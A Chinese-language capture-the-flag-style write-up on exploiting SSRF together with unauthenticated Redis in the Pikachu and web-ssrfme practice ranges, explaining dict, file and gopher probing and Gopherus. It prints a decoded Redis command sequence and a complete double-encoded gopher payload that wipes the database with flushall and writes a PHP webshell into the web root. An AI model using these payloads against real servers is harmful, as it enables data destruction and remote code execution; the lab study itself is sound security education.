SSRF漏洞与redis未授权访问的共同利用

1.利用靶场Pikachu来认识SSRF漏洞

1.什么是SSRF

SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。

简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。

如图,本来靶场是访问他自己指定的资源的这一首诗,当我把后面的请求网址改成百度以后,靶场就访问到了百度

这样看SSRF好像也没有什么大危害,接下来,认识几个curl支持的协议,这些协议可以帮助SSRF更好的完成你想要的入侵

2.curl协议

1.dict协议(http协议作用一样,可以探测服务端口)

本来是一种字典协议,用得特别少,但是他可以读取MySQL的部分返回内容,这就有点用处了,当我用这个协议访问开启的端口的时候,会有返回值,但是访问其他端口时没有返回值,这就可以让我知道他的一些特定端口开了没有,有没有这个服务,比如mysql:3306,redis:6379

2.file协议

可以读取文件

这里还能读取到MySQL的账号密码,如果开启了远程连接,可以直接登上去,但是这个MySQL的连接文件路径要猜,不然获取不了

3.gopher协议

Gopher 协议是一种早期的互联网协议,主要用于创建和访问层次化的信息目录。某些服务在处理请求时未正确过滤或处理 Gopher 协议,导致它们可以通过 Gopher 协议访问内部服务或敏感数据。

1.可以用gopherus工具来生成payload

1.选项里面的Reverseshell是我们后面的写任务计划要的反弹shell,在这里我们选PHPshell是要写入进去shell

2.选项是要选择网站的物理路径,这一般是默认的值,要么就要你猜了

3.写入你想要的webshell(<?php phpinfo();?>)

4.生成了一个url编码过后的地址

解码可以看到是这样的

2.redis的写入的命令格式

复制代码
gopher://127.0.0.1:6379/_*1
$8                              $表示接下来的字符长度是8
flushall                        删除 Redis 数据库中的所有数据,避免干扰
*3                              *3表示接下来是有三个元素的数组
$3                              第一个元素的长度是3
set                             第一个元素
$1                              第二个元素长度是1
1                               第二个元素
$22                             第三个元素的长度是22


<?php phpinfo();?>              第三个元素


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

完整的取出来是这样几条命令

  1. flushall:清除 Redis 中所有的键值对,数据库为空。
  2. set 1 <?php phpinfo();?>:key 1 被设置为 <?php phpinfo();?>
  3. config set dir /var/www/html:Redis 数据目录设置为 /var/www/html
  4. config set dbfilename shell.php:Redis 数据文件名设置为 shell.php
  5. save:将当前 Redis 数据库保存到磁盘。

3.了解了上面的东西,利用ssrfme靶场结合redis的未授权访问可以干的事

靶场是web-ssrfme

**因为过滤了file和dict所以就无法用上面的方法,但是用http协议进行bp爆破,**除了80 端口,就没有其他的端口了

根据这个代码,输入一个info,得到了phpinfo界面

在phpinfo里面找到一个可能是内网的IP,猜测还有其他的服务器,发现****172.18.0.2:80,有可能也是一台web服务器,因为他有不同的静态页面GO away1

看能不能利用http协议把这台服务器开放的服务用bp给爆破出来

可以看出这台服务器的****6379端口是开着的

尝试了直接用gopherus工具用默认的路径来攻击,无法写入shell,就算把gopherus生成的payload进行二次url编码也没有用。

正常的入侵要用字典去爆破除了html的其他目录,这里我就用上帝视角知道html下面还有一个upload目录

1.写入webshell

gopherus生成的payload

发现还是要二次编码才可以成功

二次编码

复制代码
gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252426%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527id%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
相关推荐
嘉里蓝海8 小时前
我在嘉顺达蓝海的安全日常
安全
2301_780789669 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
嘉里蓝海9 小时前
我在嘉顺达蓝海的安全坚守
安全
你的人类朋友10 小时前
认识一下Bcrypt哈希算法
后端·安全·程序员
Coovally AI模型快速验证14 小时前
基于YOLO集成模型的无人机多光谱风电部件缺陷检测
人工智能·安全·yolo·目标跟踪·无人机
夏天的风9916 小时前
本地部署PLM系统,如何用 ZeroNews 实现远程访问?
安全·远程工作
wanhengidc16 小时前
高性价比云手机挑选指南
运维·网络·安全·游戏·智能手机
拉法豆粉19 小时前
三方软件测试可移植性测试哪些内容
数据库·安全
午夜游鱼20 小时前
Go 泛型实战:一行代码封装 sync.Pool,性能与安全兼得
开发语言·安全·golang
在安全厂商修设备21 小时前
XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探
web安全·网络安全·xss